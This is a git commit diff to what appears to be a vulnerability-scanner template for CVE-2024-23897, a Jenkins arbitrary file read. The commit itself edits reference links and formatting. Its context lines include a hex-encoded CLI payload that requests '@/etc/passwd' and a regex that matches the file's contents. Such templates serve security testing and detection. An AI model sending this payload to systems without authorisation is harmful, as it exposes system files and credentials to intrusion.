Update CVE-2024-23897.yaml

This commit is contained in:
Dhiyaneshwaran
2025-11-25 11:43:37 +05:30
committed by GitHub
parent a9dc869780
commit 3f0a656202

View File

@@ -1,4 +1,4 @@
id: CVE-2024-23897
id: CVE-2024-23897
info:
name: Jenkins < 2.441 - Arbitrary File Read
@@ -9,13 +9,11 @@ info:
reference:
- https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314
- https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/
- https://github.com/Mr-xn/Penetration_Testing_POC
- https://github.com/forsaken0127/CVE-2024-23897
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/forsaken0127/CVE-2024-23897
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-23897
cve-id: CVE-2024-23897
epss-score: 0.94455
epss-percentile: 0.99991
cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*
@@ -31,6 +29,7 @@ info:
- product:"jenkins"
fofa-query: icon_hash=81586312
tags: cve,cve2024,lfi,rce,jenkins,js,kev,vkev,vuln
variables:
payload: "{{hex_decode('0000000e00000c636f6e6e6563742d6e6f64650000000e00000c402f6574632f706173737764000000070200055554462d3800000007010005656e5f41450000000003')}}"
@@ -67,4 +66,3 @@ javascript:
group: 1
regex:
- '\b([a-z_][a-z0-9_-]{0,31})\:x\:'
# digest: 4b0a00483046022100b7dd15fcd863e3e0f53c8b0c6c7c12beabc4277e58a9498e7303adc1262f4897022100fc5f5638db56636dad96662bf1371df96a2d911d526f88bd8662727a13c8df06:922c64590222798bb761d5b6d8e72950